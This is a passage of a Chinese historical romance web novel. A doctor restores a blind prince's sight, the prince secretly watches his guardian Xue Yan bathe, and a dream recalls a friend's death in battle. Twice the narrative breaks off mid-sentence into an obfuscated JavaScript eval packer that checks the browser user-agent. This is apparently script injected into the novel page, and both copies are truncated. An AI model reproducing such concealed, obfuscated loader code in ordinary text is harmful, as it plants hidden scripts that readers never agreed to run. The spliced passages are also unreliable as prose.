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薛俨推着赵禛进来时,正好看到一位鬓发灰白的老者摇晃着酒壶已成醉态,他穿着件乞丐的袍子,上面多是补丁,正大快朵颐地夹着面前的饭菜,风卷残云。 钱大夫有些不好意思,“虽然,但是,他确实是医术最好的一位。” 薛俨点点头,“不以外貌取人。” 他上前一步,抱拳行礼,“见过神医,不知神医对腿疾治疗可有心得?” 那老者抬眼瞧了他一眼,朦胧浑浊的醉眼忽然眯了起来,眼神上下扫视,啧舌道:“啊,好一位美郎君啊。” 薛俨今日穿着件绯红霓裳圆领袍,领口随意慵懒地翻开,金红丝绸质地,袍身暗纹绣满竹叶,腰间革带紧收窄腰,坠着世家子弟常见的白玉环佩。 其样貌更是没得挑拣,面如冠玉,唇若涂朱,发尾以金冠挽之,美若风华。 “青囊书是你的?”老者问道。 “是,神医胜出比赛,按照约定,往后青囊书便是您的,但我有一个请求,我的家眷半年前伤了腿,我遍寻医师无法完全救治,请神医救他,我愿以千金相赠。” 薛俨说着侧身站到一旁,身后蓝瞳将赵禛推过来。 老者眯起了眼,“又一位美郎君,我看看你的腿,是怎么伤的?” 赵禛的衣袍被人掀起,那老者蹲下身按了两下,“小问题,能治。” 薛俨一喜,“那他以后能跑能跳?” 老者道:“能跑能跳。” 薛俨又问:“也能习武?” 老者:“能习武。” 薛俨喜不自胜,“太好了,他需要多久能好?或者要什么药材,我都差人去寻,还有诊金,您尽管开口。” 赵禛也攥紧了衣袍,指节泛白,原本死寂的心泛起了一丝波澜,他真的可以恢复如初? 老者摆了摆手,“多久能好,就看他自己了,短则三月,长则半年,至于诊金嘛,还有酒吗?” “有!松烟,去把全京城的好酒都搬上来赠予老先生。不知先生下榻何处?要是没什么住的地方,我即刻叫人在家里收拾住所,无论美酒佳肴,侯府管够。” 老者眼冒精光,但很快便黯淡下来,摆了摆手,“不行,我还要去找人,等我找到人,再去你家住。” 薛俨没再强求,只是带人上了马车,准备先到侯府认认路。 一下车,临淄侯府的牌子映入眼帘。 老者像是未曾见过这般富丽堂皇的府邸,眼底一颤,“你不会就是临淄侯吧?” “是。” 薛俨话音刚落,老者就凑了过来,满怀醉意的眼睛贴近薛俨瞪得老大,左看右看,甚至捏了捏薛俨的脸,又拍了拍他的肩,在他身后绕了一圈又凑到了他的脸前。 薛俨身形后倾,又不敢乱动,只能任由他把自己上上下下都看了一遍,“你认识我?” 老者摇摇头,背着手往侯府里走,“不认识,不认识。以后我就在你家住下了。” 22. 第 22 章 回到明月阁,那老者又将赵禛的腿仔细地看了一遍,最后摸着下巴盯着他的眼睛看了又看,甚至伸出一只手要去抬他的眼皮。 “刚才,我就想说,他的眼睛也看不见了吧?啧啧啧,可怜的娃儿,咋受这么多的伤?” 薛俨点头道:“是,但我先前请了钱孙李三位大夫,已经出了治疗眼疾的良方,大概还有半个月就能好了。” 老者一摊手,“拿来我看。” 薛俨将方子递去。 老者眉毛一拧,又伸手,“取笔来。” 松烟将毛笔递上。 老者把药方往桌子上一放,大笔一挥划掉了某个药材,又改了某些剂量,涂涂改改,成就了一副新方。 “前头治得不错,但是太慢了,用我的方子,再配上我调制的新药草,用不了几天我就让你能重见光明。” 薛俨倒吸一口冷气,抓住老者的手,激动道:“当真?” “那是自然。”老者捋着胡子,一副得意洋洋的模样。 钱孙李三个大夫凑过来看新的方子,半晌过后,双手一拍,“妙啊!真乃神方。” 得到另外三人的确认,薛俨急忙命人去准备新的药材,他蹲下身握着赵禛的手,“太好了,宣卿,很快你就可以看见了。” 赵禛浅浅一笑。 他真的很快就能看见了么?他有些迫切地想要见到薛俨的样子。 薛俨站起身,“到现在还不知道神医名讳?” 老者道:“我姓赵,名字嘛,忘了,你就叫我赵神医好了。” 薛俨抽了抽嘴角,赵钱孙李,集齐四姓,可以召唤一个健康的宣卿了。 赵禛却是眉梢一挑,唇角泛起一点意味不明的笑,“姓赵?你是皇姓?” 赵神医摆摆手,“赵是大姓,岂能各个都是皇姓?我就是个草民。” 赵神医又给赵禛把了脉,仔仔细细地检查了一遍,重新删改了他的调养方案。等做完这一切,他才抱着酒壶回屋大醉去了。 屋内只剩下薛俨和赵禛,薛俨摸了摸他的头,“原本我还担心牡丹过了花期,宣卿欣赏不到,这下可以瞧见了。” 俩人说着话,外头苏恒敲响了门。 “侯爷,顺天府和盛天木材厂的事儿判了。” 赵禛唇角轻勾,“要开盘了呀。” 薛俨也是正襟危坐,严阵以待,一颗心都提了起来,“你说吧。” 苏恒不懂他俩说的什么开盘,但看他俩郑重其事的模样,也正敛了神色。 “说是顺天府治中袁春贵和盛天木材厂勾结,以次充好,袁春贵被下了大狱,工部和顺天府相关的罚了几个,木材厂已被查封充公,参与这事儿的都要杀头。” “我还听说木材厂背后的梁三千花了好大一笔银子疏通呢,又是捐军费,又是帮着地方赈灾,南方三皇子打仗的军饷全是他出的,银子比面粉还不值钱。” 薛俨听完,叹了口气。 赵禛则是笑得春风得意,“我赢了。” 薛俨无奈,“好吧,你赢了。” 苏恒左右看看,又挠挠头,他们俩怎么看起来一点也不惊讶?像是早有预料,甚至有种夫妻狼狈为奸的默契。 等苏恒退下后,薛俨问道:“你是怎么猜到的?” 这种事情还能未卜先知的?况且赵禛眼盲腿疾,日日坐在后院,他还能算命不成? 赵禛笑笑,“澶州水淹四县,其中一县便是松县,去年袁春贵任松县县令,而钦天监看中的那块风水宝地就在松县。松县被淹后,他因赈灾有功,被调进京城做了顺天府的治中。” 户部要买地,肯定要先和当地县令通气,县令为了完成京里发布的指标,少不了要用些手段。他帮着干了一件脏事,也算是办案有功,得了上头青眼,调进京来,合乎常理。 薛俨嘶了一声,“可是这般说的话,为什么会把他推出来做替死鬼?他们不是一伙的吗?” 赵禛道:“因为手段太脏了,即便皇帝再想要那一块地,他还是皇帝,淹死的是他的百姓,他怎么能容忍手底下的人干出毁堤淹县的蠢事?” “那件事后,袁春贵本想攀附大皇子,但大皇子一党重清名,怎么会看上这等小人?于是袁春贵用钱铺路,转而投了太子,得了个顺天府治中的官。” “他知道的太多了,谁也不想日后爆出来,所以趁此机会,衙门修缮本也是他负责的,就干脆推出来做个替死鬼,等他一死,澶州的事就又少了个知情人。” 所以从一开始赵禛的目的根本不是把太子党拉下水,而是等着袁春贵成为他们的弃子。 “至于梁三千,他早晚要走到自己铺的死胡同里,亿万家产拱手让人都是轻的,玩火自焚才是他的归路。” 薛俨趴在桌子上用指尖划拉着跟前的棋子,稍微一拨,棋子转成了陀螺,闷闷道:“我的脑子好像有点死了。” 党争权谋,恐怖如斯!! 赵禛伸手过去,像薛俨经常揉他的头发那样,在薛俨的头上揉了揉。 “嗯?”薛俨顶着翘起的几根呆毛,顺着那只手抬头看去,赵禛笑得像个披着小白兔皮的狐狸,再配上那张脸,妥妥的狐狸精。 “别慌,哥哥,我可以做你的幕僚,我们一起……把他们玩死。”赵禛收手,满意地攥了攥掌心,企图保留下方才的触感。 他说这话时,冷风嗖嗖地往薛俨后脖领处窜,薛俨拍了拍自己脆弱的小心脏,幸好他和赵禛不是敌人,否则他真的会被玩死的。 “你是打算从袁春贵嘴里问出澶州的事?可他既然和澶州有牵连,大皇子和太子肯定也会借此机会给我们做陷阱。我想想,有什么办法能避开他们呢?” 薛俨发动脑细胞,但他自幼就跟着全家在西北生活,很少回京,对于京中的人物关系网一概不通,也没几个交好的。 赵禛笑笑,“哥哥,我会安排好的。过几天,哥哥可以陪我去吗?” 薛俨挠挠头,“好,好啊。” 那双眼睛虽然无神,却在盛夏阳光照射下亮晶晶的,配上他甜甜的笑,就像家里养的那只三花猫在跟他撒娇,薛俨是无论如何也说不出拒绝的。 “喵~” 猫叫声响起,阿宝迈着猫步大摇大摆地走过来,尾巴高高竖起,纵身一跃跳到了薛俨的腿上,懒洋洋地晒起太阳来。 薛俨戳了戳它软乎乎的肚子,“还是你会享受,每天吃完小鱼干就晒太阳。” “过来,让我亲亲你。” 薛俨抱着猫将它高高抬起,阿宝喵呜地叫了一声,双眼眯起,满脸写着不情愿,四肢挣扎地想跳。 薛俨捏着它晃了晃,“你还不愿意了?是谁给你买的小鱼干?嗯?说话?吃了我的小鱼干就是我的小猫,我想亲就亲。” “喵~” 赵禛笑笑,“哥哥,阿宝四处抓老鼠,你最好别亲它。” 薛俨:“……” 他倒是忘了,这里是古代,到处是老鼠虫子,阿宝不是养在楼房里的宠物猫。 薛俨手一松,阿宝喵地一声灵巧地跳走了,甚至在他衣袍上留下了一个脏脏的猫爪印,他有些哭笑不得,“这家伙……” 为了不让阿宝再玩老鼠,侯府上下鸡飞狗跳地抓了一阵子老鼠和虫子,但可惜的是一只老鼠都没抓到。 * 三天后,薛俨发了俸禄,下值后便从街上买了些赵禛能吃的零嘴,提着大包小包地回了屋,想着同赵禛庆祝一下他明天难得的休沐。 “宣卿,我买了樱桃毕罗,你要尝尝吗?还有刚炒好的花螺,据说可好吃了,但你只能吃一点哦。” 他将东西放下,松烟过来在唇边竖起一根手指,薛俨了然地点点头,隔着屏风望去,赵神医正在为赵禛施针,钱孙李仨老头跟医院的实习生似得在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他指腹强行按下小猫的爪子,顺了顺毛发,等他又拿筷子去夹樱桃毕罗,却突然反应过来—— 鼻头顿时泛起一抹酸意,眼前模糊又朦胧,他眨了眨眼,眼睛变得酸疼起来。 筷子啪嗒坠落,蓝瞳听到动静,掀开珠帘进来,“殿下?” 赵禛抬头,一张熟悉而模糊的脸映入眼帘,一颗心脏在此刻突然剧烈、猛烈地跳动起来,手指都在抖动,“我没事。” 他敛下神色,怀中三花小猫正抱着小鱼干啃,他闭着眼睛靠在身后的轮椅上,仰面用手背遮着眼睛,低低地笑出声来。 他真的看见了—— 喵呜一声,阿宝啃完小鱼干在赵禛腿上伸了个懒腰,黑白橘三种花色在他眼前逐渐聚焦清晰起来,垂头的瞬间正好对上一张茫然的猫猫脸。 阿宝舔了舔爪子,倏地从赵禛腿上跳走,爪力让赵禛猛然清醒过来。 薛俨—— 薛俨在哪? 他要去找薛俨。 他要告诉他这个好消息。 他也迫切地想看到薛俨的样貌。 赵禛跌跌撞撞地转着轮椅出了屋子,曾经探索过无数次的院子终于映入眼帘,他闭上眼睛,按照曾经的记忆,往薛俨的屋子里去。 视线越来越清晰—— 宅院、花卉、台阶,每一个曾经熟悉的领域此刻逐渐清晰入眼。 推开屋门,他费力地踏入一片从未涉及的地界,屋内有些许水声,他急不可耐地顺着声音往屏风处去。 “哥哥……” 赵禛欢喜地喊了一声。 然而下一刻,他便僵住了。 屏风后摆着巨大的浴桶,热气氤氲间薛俨只穿着一件单薄的亵衣,系带已经脱落,衣襟大敞,隐约可见腹间沟壑。 薛俨听到动静,缓缓转过身来,“啊,是宣卿啊?你用完针了?” 他嘴上说着,手上动作没有任何停留,反手脱了上衣,手指又搭在了裤缝上,稍有卡顿犹豫,最后还是毫不留情地褪了下来。 赵禛怔在当场,双眸慢慢睁大。 23. 第 23 章 赵禛从未想过他的眼睛恢复光明后看到的第一幕会是这番景象,阻止的话卡在嗓子里,就这么眼睁睁地看着薛俨把自己扒了个精光,抬脚进了浴桶内。 “怎么突然来找我了,是有什么事吗?你的眼睛怎么样了?赵神医怎么说?”薛俨双臂搭在浴桶边,舒坦地往后一靠。 “没……”赵禛欢喜的话硬生生地被咽回肚子里,根本不敢说出实情,干干巴巴道:“我的眼睛,快好了。” 心跳在胸腔内疯狂跳动,像是要跳出来似得,连同按在轮椅扶手上的手指都在用力,热气氤氲,闷得他脸色发烫,四肢僵硬,怎么也腾不出手来转着轮椅回去。 “怎么你自己过来了?蓝瞳呢?你眼睛不方便,万一磕绊到什么怎么办?” “唉,算了,今天府里发月银,估摸着他们都跑云娘院子里去了,你在这儿坐一会儿,等我洗完,我推你回去歇着。” 薛俨自顾自地泡着澡,最后将发冠也拆了下来放置一旁,墨发倾斜而下,肆意地修饰了脸颊两侧锋锐地棱角,水滴顺着他的脸颊淌下,滚落在锁骨处汇聚成一汪小池。 赵禛耳根发烫,“不,不用了,我自己回去。” 赵禛想将视线偏移开,他僵硬地扶在轮椅上,想尽快逃离这个地方,他感觉自己的四肢骨缝里都在淌着热意,脑海中机械地、反复地出现着刚才薛俨脱衣的那一幕。 就当他要转走时,轮椅却怎么也动不了,他一回眸,一条湿漉漉的手臂抓住了轮椅的边缘。 而薛俨则由刚才的背靠浴桶改成了趴在浴桶边缘笑嘻嘻地看着他,原本记忆里模糊的薛俨样貌,也在此刻彻底清晰可见。 他终是想起来从前那个喜欢趴在墙头看他的少年模样,桃花落了那人一身,他回眸看去,少年也是这样坐在墙头上笑嘻嘻地跟他打着招呼,手里还拿着一只纸鸢。 少年一袭织金绯红团纹锦袍,顶着春和煦风,连漫天的桃花芳菲都该为他倾倒,唇角肆意的笑令天地万物都黯然失色。 而今的青年黑缎般的长发随意流散,背后的暮光晚霞为他镀上一层光晕,露出的小臂线条流畅而漂亮,剑眉英挺,双眸如星,慵懒般粲然一笑,同样摄人心魄。 两张明媚的笑脸逐渐融为一体。不同的是,如今的薛俨相貌张开了不少,姿容如玉,神仪明秀,他素来见过不少状元、探花打马游街,却都不及薛俨万分之一。 薛俨一笑,他觉得自己的魂儿也要被跟着勾走了。 薛俨的手还抓着他的轮椅,他移动不了半点儿,身后那人道:“你急什么?我沐浴时不爱叫人近身,此刻外头院子里没人,等我洗完,我送你回去,我很快的。” 赵禛垂着头,根本不敢再去看薛俨的眼睛,可那人却并不打算放过他,他力道极大,稍一拉拽,轮椅咕噜咕噜地往后滑去,他被迫重新坐到了薛俨跟前。 赵禛结结巴巴道:“你不是沐浴吗?我……回避。” 薛俨却是噗嗤一笑,终于松开了赵禛的轮椅,“你又看不见,回避什么?” 赵禛今日穿着件紫墨晕染的薄衫大袖,内里是棉白松散的衣袍,腰间垂挂紫色流苏珍珠腰链,此时这珍珠可是有了大用处,赵禛不断用指甲摩挲扣着那几颗珍珠,乖巧得像个鹌鹑。 “你脸怎么这么红?”薛俨终于发现了异样,甚至往外探了探头,湿漉漉的手指掐了下赵禛的脸蛋,又用指背搓了下。 赵禛的脸好像更烫了,被搓的那一小块皮肉烧得透红,赵禛伸手蹭了两下脸颊上沾到的水,挟下一些水渍,“可能是太热了。” 薛俨笑了两声,拿起旁边的布巾给他擦了擦脸,“这里全是热气,能不热吗?我去把窗户开一条缝儿。” 他去开窗户,他怎么去? 赵禛心里升起一个不好的预感。 不,不可! 赵禛下意识就想阻止。 果不其然,下一瞬他就看见薛俨从浴桶中站起来,水声哗啦啦地响起,大片的胸膛在水雾间朦胧而现,宽肩窄腰,武将常年练就的身材极好,残余的水珠顺着肌肉纹理缓缓淌下,原本莹白的肤色被热水浸染成了淡淡的粉色。 眼看薛俨就要抬脚而出,在赵禛即将看到什么不该看的东西时,他猛地呼喊出声,“不要!” “怎么了?”薛俨动作一顿,腰线下的水波飘来荡去,掩去了以下的所有身材。 赵禛呼吸都变得灼热急促起来,手背死死抓着轮椅的扶手,声音都在抖动,“我不热,不用去。” 薛俨恍然一笑,“你脸都快烧红了,还说不热?小心再治你一个燥火过盛的病状,你放心,外头没人,谁也瞧不见我的。” 薛俨说着手往旁边的白巾伸去,他原是要将自己简单围拢一下,可视线落在垂眸不语的赵禛身上时,他又放弃了那块白巾。 反正宣卿又看不见,他何必多浪费一条干净的布巾呢?窗户距离此处也就几步之隔,他去去就回。 薛俨本质是一个很懒的人,就像现在分明可以随意裹一下白巾,却又懒得去裹。 水声乍起,赵禛敛眉余光中瞟见一双湿漉漉的长腿,赤足踩在地板上,他连脖子都变僵了,理智告诉他非礼勿视,可刚恢复光明的眼睛却不自觉得往上瞟,等快要看到什么时,又强迫自己把头低回来。 他恨不得自己今日的眼睛还是瞎的,就不至于被迫瞧见些什么不该瞧的,更不会在这里坐卧不安。 窗户大开,五月的天色并没有什么凉风,暖烘烘的,根本吹不散他脸颊处的烧红。 薛俨又重新躲进水中,旁若无人地洗涮起来,水声不断响起落下,赵禛一颗心也跟着七上八下的,就算他是一个[瞎子],薛俨也不该这般旁若无人,视他为隐形透明。 薛俨哼着小曲儿很是自在,只是那轻快的曲调他从未听过。 他为什么要说自己是一只羊?难道薛俨喜欢羊? “别看我只是一只羊,羊儿的聪明难以想象……” 那歌词他听不懂,但他表示理解。西北有草原,当地人爱吃羊肉,或许薛俨是习惯了西北的饮食。 突然,薛俨将布巾塞到他手心,讪讪一笑,“帮我擦擦背,省得我去叫松烟了。” 赵禛被那只手带着的温度烫得一哆嗦,手里拿着湿漉漉的布巾,听话地嗯了一声,胡乱地往薛俨身上招呼。 “上次你说要审问袁春贵的事有眉目了吗?”薛俨趴在浴桶边儿,无聊得把玩着桌前的花瓶。 “还在安排。”赵禛心不在焉。 这种时候,他哪有心思和薛俨谈论正事?眼中不静,耳中不静,心中不静,念几遍清心咒都挥之不去的震撼。 他真的不该进来的,或者是发现薛俨在沐浴时第一时间退出去,就不会落到这个地步。 眼前雪山似得脊背腰线格外有型,薛俨背对着他,赵禛才终于敢抬眸好好地打量一下,薛俨后腰有一道陈年留下的旧伤疤痕,浅浅的,透着淡粉。 赵禛指腹在疤痕处摩挲了两下,“这是什么伤?” 这话一落地,他明显地感觉到薛俨脊背上的肌肉都绷紧了,他愣了愣,便听薛俨低声道:“潞州之战,死里逃生。” 潞州之战,是表兄战死的那次,薛俨的腰伤也是那次战役留下来的。 赵禛敛下了眉眼。 薛俨也不再说话了,只听得水声乍起,等赵禛替他擦完背,薛俨又取了澡豆润发,绵密的泡沫覆盖满头,甚至有泡泡升入空中,兰香袭人。 赵禛原本还在纠结自己引起薛俨伤心事,脸颊突然被人点了一下,泡沫粘在了他脸上,薛俨笑笑,“好了,别不高兴,都过去了。” 赵禛看着他。 薛俨眉梢轻挑,面露疑惑,伸手在赵禛跟前晃了晃,“我怎么觉得你好像能看见了似得?” 赵禛心神一震,眼睛空洞地盯着某处,“赵神医说我这两天或许就能看见了。” “真的?”薛俨一喜。 他洗掉头发上的泡沫,又站起身,弯腰提起脚边的水桶,从头顶浇下,彻底冲洗了一遍。 水珠溅到赵禛脸上,他又僵了僵,绷紧了肌肉,默默地用指尖弹去了水珠,可那一块还在蔓延灼烧。 余光里,薛俨从浴桶内爬出,用白巾擦干水渍,又披上了干净的里衣,随意地将带子系起,见他穿得严严实实,赵禛终于舒了一口气。 薛俨推着赵禛走出屏风,“宣卿,你再坐一会儿,我将头发擦干。” 前后换了数十条干燥的布巾,直到将发丝擦得一滴水都不剩,他用一根木簪随意而松散得挽了一下。 赵禛就那么坐在轮椅上定定地看着他,眼睛一眨不眨。 晚霞落在薛俨身上,每一根发丝都透着金光,金光穿透单薄的亵衣,轮廓清晰可见。 赵禛偏过头去,不敢再看了。 “宣卿?我推你到园子里坐坐吧,正好我要晾一下头发。” 古代并没有吹风机这种东西,春冬洗发全靠碳火炉子,夏秋洗发则全靠太阳自然晾干。 “好不好?” “我买回的樱桃毕罗你吃过了吗?很好吃的。” 薛俨微微侧身弯腰,亵衣松散,赵禛几乎不用刻意去看,从领口望去,一抹春色直入眼帘,刚被热水浸透的粉白皮肤,两点粉红,沟壑分明、紧窄的腰身…… 赵禛别过脸去,耳根更红了。 “吃过了。” 即便是在自己家中,薛俨也实在是过于懒散,他怎么能穿得这般不得体?万一叫别人瞧见了怎么办? “屋内这么热吗?”薛俨不明所以,捏了捏他的耳垂。 赵禛浑身的肌肉都绷紧了。 他刻意地摸索过去,触碰到薛俨的手臂,指腹碾了下他的亵衣,“哥哥穿得太单薄了,还是再披件衣裳吧。” 薛俨恍然一笑,“好,都听宣卿的,我换了衣裳就推你出去透透气。” 园子里的花开得正艳。 薛俨笑盈盈的,享受着春光和煦、暖风拂面,“等过两天你眼睛恢复了,我要带你好好欣赏一下园子,这可是我特意布置的园景,你肯定喜欢。” “好。”赵禛甜甜一笑。 他已经看到了。 园子很漂亮,人也很漂亮。 他的视线放远,假山、流水、长廊、花丛如瀑,牡丹浓艳,海棠西施,迎春鹅黄,阿宝正跑跳着扑蝶打滚,小厨房上空炊烟袅袅,极为舒适且宝贵的一幕。 过往数年,他忙于争夺权斗,掺和利益,稍有不慎便是万丈深渊,所有心思从不敢松懈一刻。 他从未想过,自己还有一天能过上这等惬意安然的生活,如梦似幻。 薛俨脚步立住,弯腰从花丛中摘了支硕大的牡丹,此花一朵之上呈现两种颜色,粉紫相间,平分秋色,世人称之为:二乔。 他蹲下身放到赵禛鼻尖,“真的很香,是不是?” 一阵东风刮过,桃花簌簌而落,飘满石子小路,松散的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵禛摸索着打开卡扣,锦盒内立着一枚戒指,他简单地用余光扫过,那是一件雕银粉色宝石扳指,荧光玉润,耀着火彩,煞是好看。 薛俨不给他愣神的机会,将扳指取出,“来,我给你戴上。” 他牵过赵禛的手,毫不客气地套进大拇指上,赵禛指节修长白皙,粉色宝石正配得合适,相得益彰。 薛俨不由得啧舌,“真好看,我平时不爱戴这东西,还是宣卿戴着好看,别人有的东西,我们宣卿也要有。” 赵禛怔愣一瞬,心底像是漏了一拍,眼睑下垂,指肚不断拂过宝石戒面,难道薛俨不知道戒指是本朝男女定情最常用之物吗?他怎么能送戒指给自己呢? 薛俨才没想那么多,他松开赵禛的手,将筷子递给他,“快尝尝这些合不合口味。” 戴着漂亮宝石,连拿筷子时都觉得赏心悦目不少,薛俨很满意。 他挨个将糕点小食放进赵禛盘子里,每一样只放了一点点,生怕吃了闹肚子。 他自己则独揽了一盘爆炒花螺,摩拳擦掌地准备大快朵颐,那花螺炒的格外鲜美,配着竹签,从里头挑出肉来,嫩得鲜甜。 但花螺这种东西吃起来并不方便,如果想吃得优雅更是难上加难,所以宫里的贵人很少吃这种东西,或者是叫专人将肉挑出来再去品尝,但这种吃法便少了花螺壳的原汁原味。 故而薛俨起初坐姿还算正经,后面则开始逐渐放纵自我,花螺内部原汁用竹签吃不出来,他便放到嘴边去吸,吃到最后,连嘴唇都肿了起来。 薛俨嘬着嘴使劲吸吸吸,“你说这玩意儿谁发明的呢?也太好吃了,宣卿,等你身体好了,一定要尝尝。” 眼前的画面映入,赵禛瞳孔震颤。 从前眼睛看不到,所以他想象的薛俨是照顾他时的温柔体贴、成熟稳重,是同他分析朝堂局势时的睿智果敢、机敏过人,也是连环阳谋讨债平账时的随机应变、肆意张扬,他以为是薛俨长大转了性,原来是他只看到了冰山一角。 此时翘着腿悠哉悠哉地在他面前肆无忌惮地吸花螺的薛俨却是另一种鲜活的、独特的薛俨,就像院子里那只翻着肚皮晒太阳的小猫儿。 脑海深处的薛俨像是一具纯黑色的身影,从前的睿智、稳重等无数优点添上一抹颜色,现在的鲜活可爱却为他平添了另一抹颜色。 大概是眼神过于炽热,薛俨吸花螺的动作僵硬了一瞬,在他朝赵禛看去时,对方也垂下了眼睑。 薛俨连续用余光偷偷瞥了对方好几眼,赵禛都在乖乖吃糕点,没有半分不对劲的地方,难道是他看错了? 他故意伸手在赵禛面前晃了晃,赵禛眼神空洞没有任何反应,他终于舒了一口气,继续快乐地吸他的花螺,甚至还舔了下手指。 真好吃!! 有一种上辈子吃辣条、嗦田螺、舔手指的快乐。 他已经好久没有吃过垃圾食品了,他快憋死了!! 赵禛有些想笑。 方才薛俨怀疑自己复明时,表情都有一瞬间的僵裂,甚至连吸花螺的动作也收敛了很多,等他发现自己依旧看不到时,这才恢复了放肆。 薛俨好像很在意自己成熟稳重、温柔体贴的好哥哥形象。 如果有一天薛俨知道这个时候的自己是复明的状态,表情应该会有很有趣的。 赵禛恶趣味地想了很多,最后还是选择了维护薛俨的面子。 24. 第 24 章 直到最后,赵禛还是没能说出自己眼睛已经康复的好消息,但他借此机会,观察了明月阁的很多人,果真是有其主必有其仆。 松烟,自小跟在薛俨身边,性格也和薛俨九成九的像,嘴比人还贱,行事格外随意,但办事水平很高,侯府的人对他很敬重。 苏恒,贪财好八卦,每天不是在打听热闹就是在打听热闹的路上,侯府上下他的耳目最是灵通,连松烟今天穿的裤衩子是什么颜色都知道,嘴特别碎。 至于其他的人,真是各有各的特点。有贪吃的,有好色的,还有发了月例银子就出去打牌输得屁滚尿流的。 窗外夜色漆黑如墨。 赵禛躺在床上望着头顶的轻纱帐子,盘算着侯府上下的人和事,只是等他闭上眼的那一刻—— 薛俨脱衣、薛俨出浴、薛俨擦发、薛俨弯腰的四大名场面不受控制地在他脑海中闪现。 未着寸缕的薛俨,水珠顺着肌肤汇聚成流滑落,水雾朦胧,热气氤氲。 木簪挽发时,宽松的亵衣随着风吹,尽数走光…… 赵禛猛地睁开眼,心脏不可控地剧烈跳动着。 他抬起小臂挡着眉眼,深深地叹了一口气,都怪薛俨,他对自己也太不设防了些。 眼睛复明第一天,就看到这些场面,实在是令人终生难忘。 赵禛尝试着闭上眼睛,可那些画面再次潮水般涌来,他又叹了口气,头一次痛恨自己过目不忘的好记性。 而此时,东厢房薛俨也正陷入梦魇。 梦里是潞州之战的那个峡谷,耳边是刀剑金戈的砍杀之声,入目则是尸横遍野,血腥味蔓延至整个金光谷。 “阿俨,快跑!” “阿俨,你是主将,如果你死了,军心必散,只有你活着出去,我们才能有一线生机。” “阿俨,崔家已经没了,我活着回京也难逃一死。” “阿俨,小心……” 箭矢齐发的破空声传来,噗嗤一声没入青年心胸,薛俨眼睁睁看着那个人倒在自己跟前,血花浸染银铠。 画面一转,则是营帐内青年气若游丝地握着他的手,“阿俨,我命数已尽,只是独独放心不下宣卿,我梦见他孤苦伶仃的,阿俨,你可否帮我照顾他……” 薛俨跪在床边,眼眶通红,“我会照顾他,我会把他当成我的亲弟弟一样照顾他一辈子。” 直至他握着的那只手逐渐没了生息,他彻底失去了这个世上他唯一的挚友。 “少钦……”薛俨猛地惊醒,额头已经生了一圈冷汗,后腰的旧伤似乎隐隐作痛。 他努力平稳了呼吸,披着外袍下床,他站在窗前,外头一轮残月照得天地明亮。 [少钦,我已经把宣卿救出来了,他现在过得很好,等他的身体好了,我便带他去看你。] [如果你在天有灵的话,就请保佑我们好好活下去,早日探清澶州旧案。] [澶州一案牵扯甚广,如果实在没有办法翻案,那就只有一条路走。等宣卿做了皇帝,到时自有大儒为崔家辨经。] 他叹了口气,推开门朝某个方向走去。 夜深人静,值夜的小厮也都靠在墙边睡着了,薛俨推门而入,脚步很轻,隔着青纱帐,他还能看到那个人静静睡着。 他掀开帐子,小心翼翼地坐在床边,看向那张脸。赵禛和崔少钦这对表兄弟长得很像,但又没那么像,只是安静下来时,他的眉眼又像极了他。 “少钦……”薛俨想伸手去摸他的脸,却在即将触碰到的瞬间又停了下来。 少钦死后,薛俨连续上了十几道奏折,总算是说动皇帝,念在他是为国捐躯,破格允准他的尸骨还京,葬在崔家祖坟,他的一切都已经化作尘土,唯一存活于世间的遗物便只有……宣卿。 他小坐了一会儿,准备回去时,榻上的人却有了细微动静。 “哥哥,是你吗?”赵禛没有睁眼,只是伸手虚空摸索着。 薛俨抓住他的手握紧,哑声道:“是我,我吵醒你了吗?” 赵禛摇摇头,“没有,我做了噩梦,有些害怕,哥哥可以陪着我吗?” 他拉了拉薛俨的衣角,瞧着无辜又可怜,自己又努力往里挪了挪,给薛俨腾出一个空地儿来。 薛俨一愣,侧身躺下,又帮赵禛掖了下被角,“等你身体好些了,我们去看看你表兄好不好?” 赵禛嗯了一声,“我已经好久没有见过他了。” 薛俨笑笑,“我也好久没有见到他了。” 他双手交叠垫在脑后,仰面看着青纱帐,“以前在西北,我们俩也经常这样抵足而眠,不对,是我们仨,还有一个人,他和少钦的关系也很好,但他们两个经常背着我偷偷出去玩,倒让我有些吃醋。” “不过也还好啦,他也会给我带好吃的,晚上我就躺在他们俩中间,少钦还会给我讲故事。” 赵禛疑惑道:“那个人是谁?” 薛俨道:“他是少钦在边关救下的一个人,后来便跟在少钦身边做了个谋士,潞州那次战役,他陪少钦一并死在了敌军的万箭之下。” 赵禛眼尾一颤,“殉情?” “不是殉情,他们俩只是好朋友,或者比好朋友更好一点点,少钦生病的时候经常是他衣不解带地照顾他,同吃同住,感人肺腑。” 赵禛越听越觉得不对,“你照顾人的本事不会是跟他学的吧?” 薛俨打了个响指,“答对啦。” 赵禛沉默了。 难怪薛俨时常对他又搂又抱,毫无分寸感,他还以为是薛俨性格迟钝、不懂男女之事,现在看来纯粹是因为跟人学的。 薛俨又侧身躺去,开始细细讲述他们在西北的故事。 “那个男人姓乔,乔郎懂一点医术,有一回少钦发了烧热,一天一夜都没降下来温度,他不眠不休地照顾,温柔体贴,我看了都感动,所以我发誓一定要成为他那样的男人。” 赵禛迟疑:“……额,你、或许你真的了解表兄吗?” 薛俨坚定道:“当然!我可是他最好的朋友,那个男人也绝不能越过我去。” 赵禛又顿了顿,“那表兄喜欢男人还是女人?” 薛俨想了想,“应该是女人吧,我没听说过他是断袖。” 赵禛:“……” 现在看来,薛俨确实对感情之事比较迟钝。 薛俨侧身哄道:“好了,快些睡觉,我身上杀气重,有我陪着你,就不会做噩梦了。” 是他陪着宣卿,也是宣卿陪着他,身旁多一个人,或许他也就不会再梦见潞州那场战役了。 * 隔天,薛俨休沐,天气渐入暑日。 午休过后,赵禛想来想去,还是觉得自己应该告诉薛俨眼睛已经复明这个好消息。 